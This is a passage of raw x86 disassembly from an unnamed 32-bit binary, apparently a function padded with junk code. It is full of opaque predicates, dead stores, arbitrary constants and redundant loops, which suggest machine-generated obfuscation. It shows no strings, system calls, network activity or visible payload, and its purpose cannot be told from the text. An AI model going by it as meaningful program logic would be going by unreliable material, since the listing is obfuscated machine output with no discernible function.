pop ecx
pop ecx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xa14], eax
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x140], eax
jg 0x10045d11
mov dword [ebp - 0x850], 1
jmp 0x10045d18
and dword [ebp - 0x850], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x990]
inc eax
inc eax
cmp eax, 0xfffffffd
jbe 0x10045d38
mov dword [ebp - 0x708], 1
jmp 0x10045d3f
and dword [ebp - 0x708], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x990]
add eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x140]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x990]
jle 0x10045d73
mov dword [ebp - 0x4d8], 1
jmp 0x10045d7a
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x92c], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x92c]
cmp eax, dword [ebp - 0x858]
je 0x10045db9
mov dword [ebp - 0x650], 1
jmp 0x10045dc0
and dword [ebp - 0x650], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8b0]
cmp dword [ebp - 0x650], eax
jg 0x10045de1
mov dword [ebp - 0x3a0], 1
jmp 0x10045de8
and dword [ebp - 0x3a0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3a0]
mov dword [ebp + eax - 0x990], ecx
cmp dword [ebp - 0x3a0], 0
je 0x10045e22
mov eax, 0x877e0698
test eax, eax
je 0x10045e22
cmp dword [ebp - 0x140], 0
je 0x10045e22
mov dword [ebp - 0x4e0], 1
jmp 0x10045e29
and dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 0xfffffffc
jbe 0x10045e3e
mov dword [ebp - 0x784], 1
jmp 0x10045e45
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x8f0]
cmp dword [ebp - 0x784], eax
jl 0x10045e5f
mov dword [ebp - 0x4e8], 1
jmp 0x10045e66
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x140], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8b0]
cmp dword [ebp - 0x140], eax
jle 0x10045e93
mov dword [ebp - 0x658], 1
jmp 0x10045e9a
and dword [ebp - 0x658], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8b0]
mov ecx, dword [ebp - 0x658]
sub ecx, 0x421
imul eax, ecx
mov dword [ebp - 0x3a8], eax
jmp 0x10045c5b
mov dword [ebp - 0xa4], 0
jmp 0x10045eda
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jl 0x10045ffa
mov dword [ebp - 0x9a8], 0x9c36c1d6
mov dword [ebp - 0x9a4], 0x9c36c1d6
mov dword [ebp - 0x9a0], 0x9c36c1d6
mov dword [ebp - 0x99c], 0x9c36c1d6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9a8], 0
jl 0x10045f2b
mov dword [ebp - 0x860], 1
jmp 0x10045f32
and dword [ebp - 0x860], 0
cmp dword [ebp - 0xa4], 1
jl 0x10045f47
mov dword [ebp - 0x4f0], 1
jmp 0x10045f4e
and dword [ebp - 0x4f0], 0
cmp dword [ebp - 0x4f0], 1
jge 0x10045f63
mov dword [ebp - 0x954], 1
jmp 0x10045f6a
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0xbd8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa98], 0
jne 0x10045f92
mov dword [ebp - 0x710], 1
jmp 0x10045f99
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x660], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x660]
mov dword [ebp + eax - 0x9a8], ecx
cmp dword [ebp - 0x660], 0
je 0x10045fe2
mov eax, 0x4c99
test eax, eax
je 0x10045fe2
mov dword [ebp - 0x500], 1
jmp 0x10045fe9
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3a8], eax
jmp 0x10045ecd
and dword [ebp - 0x260], 0
jmp 0x10046010
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0xb
jae 0x10046029
mov eax, dword [ebp - 0x260]
mov byte [ebp + eax - 0x7bc], 0
jmp 0x10046003
mov dword [ebp - 0x788], 0x59b8bc58
mov dword [ebp - 0x9b8], 0xffffffff
mov dword [ebp - 0x9b4], 0xffffffff
mov dword [ebp - 0x9b0], 0xffffffff
mov dword [ebp - 0x9ac], 0xffffffff
mov dword [ebp - 0x8f8], 0xfffffff8
mov dword [ebp - 0x868], 0x26a056eb
mov dword [ebp - 0x90], 0
jmp 0x10046088
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x100460a4
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x508], 0xfffd
jmp 0x1004607b
mov dword [ebp - 0x90], 0
jmp 0x100460bd
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x100460d9
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xc64], 2
jmp 0x100460b0
mov eax, dword [ebp - 0x788]
cmp dword [ebp - 0x788], eax
jle 0x10046120
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x508]
inc eax
mov dword [ebp - 0x668], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x668]
mov dword [ebp + eax - 0x508], ecx
cmp dword [ebp - 0x668], 1
je 0x10046120
and dword [ebp - 0x510], 0
jmp 0x1004612a
mov dword [ebp - 0x510], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc64]
cmp dword [ebp - 0x510], eax
jle 0x1004614b
mov dword [ebp - 0x718], 1
jmp 0x10046152
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x868], eax
xor eax, eax
inc eax
je 0x10046181
cmp dword [ebp - 0x8f8], 0
je 0x10046181
mov eax, 0x9be5
test eax, eax
je 0x10046181
mov dword [ebp - 0x518], 1
jmp 0x10046188
and dword [ebp - 0x518], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9b8]
cmp dword [ebp - 0x518], eax
jl 0x100461a9
mov dword [ebp - 0x670], 1
jmp 0x100461b0
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 0xd562
jne 0x100461c8
mov dword [ebp - 0x520], 1
jmp 0x100461cf
and dword [ebp - 0x520], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x520]
mov dword [ebp + eax - 0x9b8], ecx
push dword [ebp - 0x870]
push dword [ebp - 0x934]
call fcn.1003fa00
pop ecx
pop ecx
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x528], 0x915a1369
mov dword [ebp - 0x248], 0xcce57bf5
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x548], 0x44fa3fda
mov dword [ebp - 0x900], 0x887c5c6a
mov dword [ebp - 0xa1c], 0xfe2499e6
mov dword [ebp - 0x1fc], 0
jmp 0x1004624d
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 3
jge 0x10046269
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x90c], 0xfffffff6
jmp 0x10046240
push 0x602d
push 0
push 0x2f85
lea eax, [ebp - 0x48]
push eax
call fcn.10042f1c
add esp, 0x10
mov dword [ebp - 0x48], 0
jmp 0x10046291
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x10046445
mov dword [ebp - 0x770], 0xfffffffc
mov dword [ebp - 0x798], 0xffffffff
mov dword [ebp - 0x688], 1
mov dword [ebp - 0x770], 1
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp + eax*4 - 0x90c], 0x4c6a
mov ecx, dword [ebp - 0x528]
add ecx, eax
cmp dword [ebp - 0x248], ecx
jg 0x100462f9
mov dword [ebp - 0x678], 1
jmp 0x10046300
and dword [ebp - 0x678], 0
cmp dword [ebp - 0x678], 0xee61
jl 0x10046321
mov eax, 0xb7d6b592
test eax, eax
jne 0x10046321
mov dword [ebp - 0x530], 1
jmp 0x10046328
and dword [ebp - 0x530], 0
cmp dword [ebp - 0x530], 0x275f
jl 0x10046346
cmp dword [ebp - 0x248], 0
jne 0x10046346
and dword [ebp - 0x720], 0
jmp 0x10046350
mov dword [ebp - 0x720], 1
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x90c]
imul eax, dword [ebp - 0x720]
mov dword [ebp - 0x248], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90c]
cmp dword [ebp - 0x248], eax
jge 0x10046388
mov dword [ebp - 0x538], 1
jmp 0x1004638f
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x538], eax
jl 0x100463a6
mov dword [ebp - 0x680], 1
jmp 0x100463ad
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x48]
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x680]
sub edx, dword [ebp + ecx - 0x90c]
cmp dword [ebp + eax*4 - 0x90c], edx
jne 0x100463de
mov eax, 0xfffc
test eax, eax
jne 0x100463de
and dword [ebp - 0x878], 0
jmp 0x100463e8
mov dword [ebp - 0x878], 1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x10046405
mov dword [ebp - 0x540], 1
jmp 0x1004640c
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x688], eax
mov eax, dword [ebp - 0x688]
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x900], eax
jmp 0x1004628a
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x698]
mov dword [eax + 8], ecx
mov dword [ebp - 0x880], 1
mov dword [ebp - 0x74], 0
jmp 0x1004646e
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x10046484
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x7b0], 0xfffc
jmp 0x10046467
mov dword [ebp - 0x74], 0
jmp 0x10046494
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x100464a7
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x50], 0xf2f4a8b1
jmp 0x1004648d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7b0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7b0], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x50], 3
jmp 0x100464e7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x50], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0
jl 0x10046814
mov dword [ebp - 0x18c], 0xffffffff
mov dword [ebp - 0x130], 0xee76373a
mov dword [ebp - 0x150], 0xb5411457
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
cmp dword [ebp + eax*4 - 0x7b0], 0
je 0x100466e1
mov dword [ebp - 0x128], 0xee2fde2b
mov dword [ebp - 0x128], 3
jmp 0x10046551
mov eax, dword [ebp - 0x128]
dec eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jl 0x10046576
mov byte [ebp - 0xe7], 0
movzx eax, byte [ebp - 0xe7]
test eax, eax
je 0x10046574
push 1
call fcn.10042b89
pop ecx
jmp 0x10046544
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
cmp dword [ebp + eax*4 - 0x7b0], 0
je 0x100465a3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0
je 0x100465a3
mov dword [ebp - 0x690], 1
jmp 0x100465aa
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x128], eax
jge 0x100465c4
mov dword [ebp - 0x550], 1
jmp 0x100465cb
and dword [ebp - 0x550], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
mov eax, dword [ebp + eax*4 - 0x7b0]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x50]
cmp eax, dword [ebp + ecx*4 - 0x7b0]
jle 0x100465fd
mov dword [ebp - 0x728], 1
jmp 0x10046604
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
imul eax, dword [ebp - 0x728]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x7b0]
jle 0x10046651
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b0], 0
jne 0x10046651
and dword [ebp - 0x558], 0
jmp 0x1004665b
mov dword [ebp - 0x558], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7b0]
cmp dword [ebp - 0x558], eax
jg 0x1004667c
mov dword [ebp - 0x560], 1
jmp 0x10046683
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x690]
cmp eax, dword [ebp - 0x560]
jne 0x1004669d
mov dword [ebp - 0x778], 1
jmp 0x100466a4
and dword [ebp - 0x778], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
mov eax, dword [ebp + eax*4 - 0x7b0]
cmp dword [ebp - 0x778], eax
jge 0x100466c9
mov dword [ebp - 0x568], 1
jmp 0x100466d0
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x128], eax
jmp 0x1004680f
mov dword [ebp - 0x9c8], 0x9b4
mov dword [ebp - 0x9c4], 0x9b4
mov dword [ebp - 0x9c0], 0x9b4
mov dword [ebp - 0x9bc], 0x9b4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9c8], 0
je 0x1004671e
jmp 0x10046814
mov dword [ebp - 0x150], 0
jmp 0x10046737
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jg 0x1004680f
mov dword [ebp - 0x130], 3
jmp 0x1004675d
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x1004680a
mov dword [ebp - 0x18c], 0
jmp 0x10046783
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jg 0x10046805
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x204], 0
jmp 0x100467af
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 3
jg 0x100467de
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x100467d2
push 1
call fcn.10042bc7
pop ecx
mov dword [ebp - 0x880], 0x7b38e516
jmp 0x100467a2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x50]
mov eax, dword [ebp + eax*4 - 0x9c8]
mov dword [ebp + ecx*4 - 0x7b0], eax
jmp 0x10046776
jmp 0x10046750
jmp 0x1004672a
jmp 0x100464d2
push 0xf
push 5
call fcn.1003fa00
pop ecx
pop ecx
add eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 4], eax
mov dword [ebp - 0xa24], 1
mov dword [ebp - 0xbb0], 0x532fe223
mov dword [ebp - 0xa2c], 0xfffffffe
mov dword [ebp - 0xb48], 2
mov dword [ebp - 0x570], 0xffffffff
mov dword [ebp - 0xa34], 0x4c7b7f60
mov dword [ebp - 0x24c], 0
jmp 0x10046880
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x1004689c
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xc84], 6
jmp 0x10046873
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
and dword [ebp - 0x168], 0
push 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.10042c04
add esp, 0xc
mov dword [ebp - 0x354], 1
mov dword [ebp - 0x350], 1
mov dword [ebp - 0x34c], 1
mov dword [ebp - 0x348], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x354], 0
jmp 0x1004691b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x354]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x354], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x354], 1
jne 0x10047053
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x3c4], 3
mov dword [ebp - 0x8b8], 1
mov dword [ebp - 0x20c], 0
jmp 0x1004696d
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x10046989
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x19c], 0
jmp 0x10046960
mov dword [ebp - 0x38], 1
jmp 0x10046999
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1004704e
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x888], 0xfffffffe
mov dword [ebp - 0x274], 0
jmp 0x100469d0
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 4
jge 0x100469ec
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0xbfc], 0xfffffff8
jmp 0x100469c3
mov dword [ebp - 0xc0], 1
jmp 0x10046a05
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10047049
mov dword [ebp - 0x224], 0xd5d64f68
mov dword [ebp - 0x214], 0
jmp 0x10046a35
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 2
jge 0x10046a51
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x3b4], 0x2e1dfe00
jmp 0x10046a28
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3b4], 1
jmp 0x10046a7f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3b4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3b4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3b4], 0
jl 0x1004703a
mov dword [ebp - 0x890], 0x71c63cc5
mov dword [ebp - 0x254], 0
jmp 0x10046ab6
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x10046acf
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x64], 0x2fbb6bc3
jmp 0x10046aa9
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x64], 1
jmp 0x10046af4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jl 0x10047035
mov dword [ebp - 0x17c], 0xffffffff
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x19c]
mov dword [ebp - 0xb5c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x354], 0
jne 0x10046b57
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x354]
mov dword [ebp - 0xa3c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x10046b57
and dword [ebp - 0x730], 0
jmp 0x10046b61
mov dword [ebp - 0x730], 1
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x730]
je 0x10046b7b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x354], 0
jne 0x10046b8d
cmp dword [ebp - 0xc0], 0
jne 0x10046b8d
and dword [ebp - 0x578], 0
jmp 0x10046b97
mov dword [ebp - 0x578], 1
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x578]
jge 0x10046bb1
mov dword [ebp - 0x6a0], 1
jmp 0x10046bb8
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x224]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x354]
mov ecx, dword [ebp - 0x38]
add eax, dword [ebp + ecx*4 - 0x19c]
jne 0x10046bfc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x19c], 0
jne 0x10046bfc
and dword [ebp - 0x580], 0
jmp 0x10046c06
mov dword [ebp - 0x580], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b4]
imul eax, dword [ebp - 0x580]
test eax, eax
je 0x10046c75
cmp dword [ebp - 0x38], 0
je 0x10046c75
mov dword [ebp - 0x21c], 0
jmp 0x10046c3d
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jge 0x10046c59
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x964], 0xde2caeab
jmp 0x10046c30
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp + ecx - 0x964], eax
jmp 0x10046de4
mov dword [ebp - 0x26c], 0
jmp 0x10046c8e
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 4
jge 0x10046caa
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0xc4c], 0x9caaf7cc
jmp 0x10046c81
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x19c], 0
jne 0x10046cd3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc4c], 0
jne 0x10046cd3
and dword [ebp - 0x6a8], 0
jmp 0x10046cdd
mov dword [ebp - 0x6a8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc4c]
mov dword [ebp - 0xb58], eax
cmp dword [ebp - 0x224], 0
jne 0x10046d0b
cmp dword [ebp - 0x17c], 0
jne 0x10046d0b
mov dword [ebp - 0x790], 1
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x19c]
cmp eax, dword [ebp - 0x790]
jle 0x10046d2e
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x17c]
mov dword [ebp + eax - 0xbfc], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0xa44], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x19c]
mov dword [ebp - 0xb64], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x64]
cmp dword [ebp + eax - 0x354], ecx
jne 0x10046e3e
jmp 0x10046a64
mov dword [ebp - 0x8b8], 0xcf10aa6f
jmp 0x100469f8
jmp 0x10046992
jmp 0x10046900
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0x96960f57
mov dword [ebp - 0x25c], 0
jmp 0x1004707f
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x1004709b
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0x9ec], 1
jmp 0x10047072
mov dword [ebp - 0x148], 0
jmp 0x100470b4
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jg 0x10047206
mov dword [ebp - 0x138], 9
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3ec], 0xfffffffa
mov dword [ebp - 0x138], 2
jmp 0x100470f8
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jl 0x10047119
push 1
push 0x132d
lea eax, [ebp - 0x3fc]
push eax
call fcn.10042c76
add esp, 0xc
jmp 0x100470eb
cmp dword [ebp - 0x3ec], 4
jne 0x1004712e
mov dword [ebp - 0x3cc], 1
jmp 0x10047135
and dword [ebp - 0x3cc], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9ec], 0
jne 0x10047156
cmp dword [ebp - 0x148], 0
jne 0x10047156
and dword [ebp - 0x3d4], 0
jmp 0x10047160
mov dword [ebp - 0x3d4], 1
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x3d4]
je 0x1004717a
mov dword [ebp - 0x3dc], 1
jmp 0x10047181
and dword [ebp - 0x3dc], 0
cmp dword [ebp - 0x3dc], 0
jne 0x10047196
mov dword [ebp - 0x3e4], 1
jmp 0x1004719d
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp + eax*4 - 0x9ec]
mov dword [ebp - 0xa54], eax
mov eax, dword [ebp - 0x3e4]
add eax, 0x77509cb0
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xc08], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9ec]
cmp dword [ebp - 0x3ec], eax
jne 0x100471ee
mov dword [ebp - 0x3f4], 1
jmp 0x100471f5
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x3fc], eax
jmp 0x100470a7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x168]
mov dword [ebp - 0x144], eax
and dword [ebp - 0x190], 0
jmp 0x1004722e
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
cmp eax, dword [ebp - 0x144]
jge 0x100472cc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
sub eax, dword [ecx + 0x18]
cmp dword [ebp - 0x190], eax
jae 0x1004727f
push 0x10c2
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x404]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
call fcn.10042dc8
add esp, 0x1c
jmp 0x100472a1
push 1
push 0x4bb2
push 0x5820
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.10042cb6
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x404]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.10042d5c
add esp, 0x14
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
jmp 0x10047221
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x18]
sub eax, dword [ebp - 0x168]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0x98], 0
jmp 0x10047313
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1004732c
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x68], 0xffffffff
jmp 0x10047306
mov dword [ebp - 0x98], 0
jmp 0x10047345
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x10047361
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x22c], 0xffffffff
jmp 0x10047338
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x68], 0
jmp 0x10047386
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x68], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 4
jle 0x100475b8
